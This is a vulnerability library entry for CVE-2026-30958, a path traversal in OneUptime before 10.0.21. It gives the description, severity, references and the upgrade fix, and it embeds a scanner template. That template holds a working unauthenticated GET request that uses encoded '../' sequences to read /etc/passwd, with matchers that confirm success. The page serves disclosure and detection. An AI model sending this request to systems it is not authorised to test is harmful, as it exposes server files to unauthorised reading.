/Vulnerability Library

OneUptime < 10.0.21 - Path Traversal

CVE-2026-30958
Verified

Description

OneUptime < 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.

Severity

High

CVSS Score

7.2

Exploit Probability

1%

Published Date

June 23, 2026

Template Author

ashvinctrl, iconnnjka

CVE-2026-30958.yaml
id: CVE-2026-30958

info:
  name: OneUptime < 10.0.21 - Path Traversal
  author: ashvinctrl,iconnnjka
  severity: high
  description: |
    OneUptime < 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Upgrade to version 10.0.21 or later.
  reference:
    - https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p2wh-9pw8-hvff
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30958
    - https://github.com/OneUptime/oneuptime
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-30958
    epss-score: 0.01139
    epss-percentile: 0.64146
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="OneUptime"
  tags: cve,cve2026,oneuptime,lfi,path-traversal,vuln,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/workflow/docs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b79f0302ea72f36e1715d85ec641d531788e14ea5d203d59837fc1672b5ae9ad022030567889c62e362428be8ff568cd0c62bf20564c5a235bc9affa22ae0f81decb:922c64590222798bb761d5b6d8e72950
7.2Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CVE ID:
cve-2026-30958
CWE ID:
cwe-22

References

https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p2wh-9pw8-hvffhttps://nvd.nist.gov/vuln/detail/CVE-2026-30958https://github.com/OneUptime/oneuptime

Remediation Steps

Upgrade to version 10.0.21 or later.